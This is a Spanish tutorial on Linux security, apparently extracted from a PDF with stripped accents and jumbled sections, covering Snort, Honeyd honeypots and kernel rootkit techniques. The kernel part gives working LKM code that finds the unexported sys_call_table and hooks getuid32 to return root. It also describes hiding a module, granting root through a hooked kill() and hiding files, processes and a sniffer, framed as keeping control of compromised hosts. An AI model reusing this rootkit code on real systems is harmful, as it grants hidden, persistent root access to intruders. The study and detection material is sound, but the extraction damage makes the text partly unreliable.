Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 17: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

